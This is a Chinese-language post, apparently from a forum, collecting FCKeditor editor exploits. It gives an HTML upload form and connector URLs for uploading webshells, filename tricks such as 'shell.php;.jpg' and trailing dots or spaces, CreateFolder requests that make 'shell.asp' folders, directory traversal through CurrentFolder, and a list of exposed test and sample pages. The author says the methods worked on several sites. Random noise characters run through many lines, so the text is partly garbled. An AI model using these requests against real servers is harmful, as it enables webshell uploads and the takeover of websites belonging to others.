Fckeditor漏洞利用总结
% H4 T% n! Q! m9 Z9 h K查看编辑器版本* l$ q. \0 P" r! f( W3 `( o1 l
FCKeditor/_whatsnew.html
/ q) h4 ~: z1 c9 S5 e$ H—————————————————————————————————————————————————————————————5 c# L4 \# m7 m" {/ V% M
" @4 d8 N; Z* S2. Version 2.2 版本
" n9 _# k0 s/ P( Z6 wApache+linux 环境下在上传文件后面加个.突破!测试通过。( r8 j$ H! u6 p( W: A9 F
—————————————————————————————————————————————————————————————
: m3 |& W0 `7 b1 h; W* B: q" T
7 s4 c7 E9 u& b2 ~3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。 B% l& B/ n4 c
<form id="frmUpload" enctype="multipart/form-data"
, z( k6 }) S7 Q' \" Oaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>. q, }, v5 V& }( @8 _! R2 L
<input type="file" name="NewFile" size="50"><br>; _2 [+ e) _, I) f8 `7 C* |1 ]
<input id="btnUpload" type="submit" value="Upload">* N" g1 l5 H$ [1 }( H
</form>
+ ~8 e5 \( k# s9 L0 j) Z( Z2 }—————————————————————————————————————————————————————————————
3 }8 R( T* x+ k) W$ x/ S
& d5 H, H& I& B/ e( k$ l4.FCKeditor 文件上传“.”变“_”下划线的绕过方法3 X) g0 O8 {/ M5 g$ ^6 y* `
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。' h# S' X, g. C. P+ Y
4.1:提交shell.php+空格绕过; Z6 `$ P4 [# R3 v1 Y
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。# p& ~* M4 X, }' A2 k; O
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
4 ]% f4 n% i( W0 K6 A0 n: j$ {—————————————————————————————————————————————————————————————; s6 Q0 X: |+ L8 u: m% s s8 j& G( t
: ~# u' i% K* ?. g3 |5. 突破建立文件夹
k: h2 q [6 f0 k$ h5 JFCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684% S! m1 w; `) E+ M9 J) m) I: U7 F! U
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp4 \5 M2 V+ r+ l; U: v Z9 l; m9 t
—————————————————————————————————————————————————————————————
- n( x, z3 @" D) l* b, o/ S3 @# Y5 Z8 T) x; P& B! v" A
6. FCKeditor 中test 文件的上传地址
) _% i p. K+ H3 X( H# RFCKeditor/editor/filemanager/browser/default/connectors/test.html
* G& {) Y$ {, T7 n" W8 r% nFCKeditor/editor/filemanager/upload/test.html2 v3 O/ {: f: O3 r. Q, L! ^
FCKeditor/editor/filemanager/connectors/test.html
4 R2 D' A* |, S) w% ]* y) y# f; WFCKeditor/editor/filemanager/connectors/uploadtest.html
( m5 d. n' j, A9 z—————————————————————————————————————————————————————————————8 O3 u* O, H5 ?7 j- \3 U
# r5 Z' R" }- z* ]" \! ?: ^6 j
7.常用上传地址
$ K0 }% c" J/ ?" }, w5 pFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/4 u6 l1 v% s5 Q# B* {; Z( d
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
1 l. u6 M! S- Q! r4 b {9 PFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
) M# F9 B* S( k% kJSP 版:
& T- b4 z" O7 h, F" QFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
# e2 D/ g* r- w, @9 e注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文! k. @: T! u/ Q. g( z
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
9 t, L' x2 G& S—————————————————————————————————————————————————————————————
: T- V8 [" f& E
4 O/ t! O/ T" y: U' i% A, [8.其他上传地址
. ]5 M9 x: I" K5 q4 Q% A/ p$ JFCKeditor/_samples/default.html, d, K; ?' Q* j0 E1 i
FCKeditor/_samples/asp/sample01.asp
! o& |8 x% K, O/ f6 A3 @FCKeditor/_samples/asp/sample02.asp
3 J8 T: @# O, }$ i( t8 q, u; gFCKeditor/_samples/asp/sample03.asp
2 j% a5 P; Y; k+ N/ ?- ?2 Z2 L9 i6 OFCKeditor/_samples/asp/sample04.asp
0 u' R. ?# S$ C) Q& L一般很多站点都已删除_samples 目录,可以试试。$ c3 e& T, C* p6 s
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 z* [7 f/ I6 r9 \/ ?( i
—————————————————————————————————————————————————————————————# P6 A! {9 u \5 T5 Y- b
8 q: h$ C- d2 `9 g
9.列目录漏洞也可助找上传地址# `7 B R, T1 I6 M8 N, |
Version 2.4.1 测试通过" h* W% L8 [) g7 x$ @* C
修改CurrentFolder 参数使用 ../../来进入不同的目录! X0 ^, f' l2 Y, }
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp; \) _2 O! { l/ V9 _* ^8 X
根据返回的XML 信息可以查看网站所有的目录。$ Y T- Y4 i% e! [+ f
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F- p5 E- H8 `/ T# g" t) y
也可以直接浏览盘符:
- {7 Q' J+ g# L$ V. P, gJSP 版本:
' U( i1 D0 O5 sFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F' I/ ?; L+ Z3 [8 P+ h
—————————————————————————————————————————————————————————————
# j" g* n7 v. W6 B% |! ~
: a; @6 A2 l8 Y Y; q10.爆路径漏洞3 Q7 g3 F. [4 B; ?. E0 F }
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
: y8 Y3 o6 X7 N: n3 m—————————————————————————————————————————————————————————————: p* l8 K0 R5 z
8 I/ R8 X# L$ B' g7 u9 a9 {( }% l- j
11. FCKeditor 被动限制策略所导致的过滤不严问题# X, }+ w4 ~% M4 c# d/ A
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
y+ W, p' Z8 y1 ?脆弱描述:6 U3 ~3 M9 e# n$ {3 T
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:+ l8 y& c5 S- j( h8 x
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm' [! {' t" j, R @- p4 }. F! l
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
0 v6 Z; \7 R5 b- C# g$ f 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。& W1 j2 E) k) r4 [ K
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
9 L! K, u' n+ H x—————————————————————————————————————————————————————————————! v* R% x" P0 w1 R4 O6 e, ]9 d
1 W4 `8 R2 J+ f: s
12.最古老的漏洞,Type文件没有限制!8 T$ I' e9 l! M' r7 ]; S
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 0 p: @1 `* L w; t% `& c2 {
—————————————————————————————————————————————————————————————
7 b, q \: v6 d0 z4 b% ~7 o
" `- Z% r& `, [* D===============================================================================================================================================
( d/ o$ H+ u1 g3 v1 O2 V) M
6 v Y% V* A9 e2 B; N. @FCK编辑器jsp版本漏洞:2 @, P( m8 H% m3 v1 S7 O; ~% P
4 L2 D% t# y3 Q# E0 N9 K
. V# C5 b: H( Y2 O. y& o5 O& _
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
: c I4 N; F4 K0 x* L& Y
1 v# `& I* J e3 ^% x+ V上传马所在目录
" B9 g3 D6 [, H9 mFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 o7 a# [- |' \
上传shell的地址:
5 f# l2 t: s; L# d; q1 s+ Phttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector. i- e7 {4 z9 A
跟版本有关系.并不是百分百成功. 测试成功几个站.
* A$ }5 o$ Z, `0 ^3 W: @不能通杀.很遗憾.3 u1 o" J3 ~2 \& ^* ^
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
0 }4 w- {6 J( P+ a% O. R: m如果以上地址不行可以试试" Z$ z) ?' Z& P' B0 w& R
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector. l- j+ N M3 `: u \' I
FCKeditor/_samples/! |* _: h, d! N% [6 \
FCKeditor/_samples/default.html+ Q, M. y4 K _. b3 ]9 k
FCKeditor/editor/fckeditor.htm. {9 j. o7 K6 y7 b
FCKeditor/editor/fckdialog.html
& p. k4 {5 s, U9 \3 |5 T: E2 h: S+ [, W( H# Z% K; E$ s
9 l; A7 l# L+ w& ], y
$ ?! [0 A5 o- @6 p2 m6 y2 z0 Y' Q解析漏洞+未重命名文件时上传漏洞 1.asp;jpg+ d) f0 j3 e7 d' J/ D
|